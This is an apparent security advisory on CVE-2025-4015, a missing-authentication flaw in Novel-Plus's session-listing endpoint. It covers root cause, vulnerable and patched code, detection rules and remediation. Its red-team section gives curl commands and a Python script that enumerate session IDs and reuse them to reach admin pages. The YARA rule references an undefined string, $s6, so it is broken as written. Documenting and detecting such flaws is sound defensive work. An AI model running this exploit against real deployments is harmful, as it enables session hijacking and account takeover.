CVE-2025-4015

Executive Summary

CVE-2025-4015 is a critical missing authentication vulnerability in Novel-Plus, a Java-based novel management system. The flaw resides in the SessionController.java file, specifically in the list function, which fails to enforce authentication checks. This allows an unauthenticated remote attacker to access sensitive session data, potentially leading to account takeover, data exfiltration, or further system compromise. The vendor has not responded to disclosure, and no official patch exists. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects a Java application (Novel-Plus) and is not related to NPM, PyPI, Go, or Ruby ecosystems. No supply chain package security issues are identified.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – However, based on the vulnerability description, a realistic CVSS v3.1 score is 9.8 (Critical).

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – Exploit does not affect other components.
• Confidentiality (C): High – Session data can be exposed.
• Integrity (I): High – Session manipulation possible.
• Availability (A): High – Could lead to denial of service via session exhaustion.

Threat Level: Critical – Public exploit, no patch, remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is in the list function of SessionController.java. This function is designed to retrieve session information, but it lacks any authentication or authorization checks. An attacker can send a crafted HTTP request to the endpoint mapped to this function (likely /session/list or similar) and retrieve all active session data, including session IDs, user identifiers, and potentially other sensitive attributes.

Root Cause: Missing @PreAuthorize annotation or manual authentication check in the controller method. The code likely uses Spring Security but fails to secure this specific endpoint.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., GET /session/list).
2. Sends a request without any authentication token.
3. Server returns a list of active sessions, including session IDs.
4. Attacker can then hijack any session by using the obtained session ID.

Impact: Full account takeover, data breach, privilege escalation if admin sessions are hijacked.

Vulnerable vs. Patched Code

Vulnerable Code (from SessionController.java):

@RestController
@RequestMapping("/system/session")
public class SessionController {
    @GetMapping("/list")
    public Result list() {
        // No authentication check
        List<Session> sessions = sessionService.list();
        return Result.success(sessions);
    }
}

Patched Code (hypothetical):

@RestController
@RequestMapping("/system/session")
public class SessionController {
    @GetMapping("/list")
    @PreAuthorize("hasRole('ADMIN')") // Add authorization
    public Result list() {
        List<Session> sessions = sessionService.list();
        return Result.success(sessions);
    }
}

Key Difference: The patched version adds @PreAuthorize("hasRole('ADMIN')") to restrict access to authenticated administrators only.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Novel-Plus with vulnerable code (commit up to 0e156c04b4b7ce0563bef6c97af4476fcda8f160).
• Network access to the application.

Exploit Steps:

1. Identify the vulnerable endpoint: GET /system/session/list
2. Send a request without authentication:

   curl -X GET http://target:8080/system/session/list
   

3. Parse the JSON response to extract session IDs.
4. Use a session ID to impersonate a user:

   curl -X GET http://target:8080/api/protected/resource -H "Cookie: JSESSIONID=EXTRACTED_SESSION_ID"
   

Automated Exploit (Python):

import requests

target = "http://target:8080"
session_list_url = f"{target}/system/session/list"

# Step 1: Get session list
response = requests.get(session_list_url)
if response.status_code == 200:
    sessions = response.json()
    for session in sessions:
        session_id = session.get("id")
        print(f"Found session: {session_id}")
        # Step 2: Use session to access protected resource
        cookies = {"JSESSIONID": session_id}
        protected_response = requests.get(f"{target}/api/admin/dashboard", cookies=cookies)
        if protected_response.status_code == 200:
            print(f"Session {session_id} is valid for admin access!")

Blue Team (Defensive)

Detection:

• Monitor for requests to /system/session/list without prior authentication.
• Alert on multiple session ID enumeration attempts.
• Use WAF rules to block access to this endpoint from non-admin IPs.

Mitigation:

• Immediately restrict access to /system/session/list via network firewall or reverse proxy.
• Implement authentication checks in the controller (see patched code).
• Rotate all active sessions and force re-authentication.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to GET /system/session/list from external IPs.
• Unusual session ID reuse across different user accounts.
• Anomalous access to admin endpoints from non-admin sessions.

File IOCs:

• Log entries showing SessionController.list() calls without prior login.
• Presence of session enumeration scripts in web server logs.

System IOCs:

• Unexpected session creation or high number of active sessions.
• Unauthorized changes to user roles or permissions.

Detection Engineering

YARA Rule

rule CVE_2025_4015_SessionController {
    meta:
        description = "Detects vulnerable SessionController.java file with missing authentication"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-4015"
    strings:
        $s1 = "SessionController" ascii nocase
        $s2 = "/system/session" ascii nocase
        $s3 = "public Result list()" ascii
        $s4 = "@GetMapping" ascii
        $s5 = "/list" ascii
    condition:
        all of ($s1, $s2, $s3, $s4, $s5) and not $s6
}

Sigma Rule

title: CVE-2025-4015 - Novel-Plus Session Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit missing authentication in SessionController.list()
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/system/session/list'
    condition: selection
falsepositives:
    - Legitimate admin access (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4015 Novel-Plus Session Enumeration"; flow:to_server; http.method; content:"GET"; http.uri; content:"/system/session/list"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Block external access to /system/session/list using a reverse proxy or WAF.
2. Implement Authentication: Add @PreAuthorize("hasRole('ADMIN')") to the list method in SessionController.java.
3. Rotate Sessions: Invalidate all existing sessions and force users to re-authenticate.
4. Monitor Logs: Review access logs for suspicious requests to the vulnerable endpoint.

Long-Term Fix:

• Apply a security patch from the vendor if released (currently unresponsive).
• Conduct a full security audit of all controller methods for missing authentication.
• Implement a Web Application Firewall (WAF) with rules to block unauthenticated access to sensitive endpoints.

Workaround:

• If patching is not possible, remove or comment out the list method in SessionController.java and rebuild the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert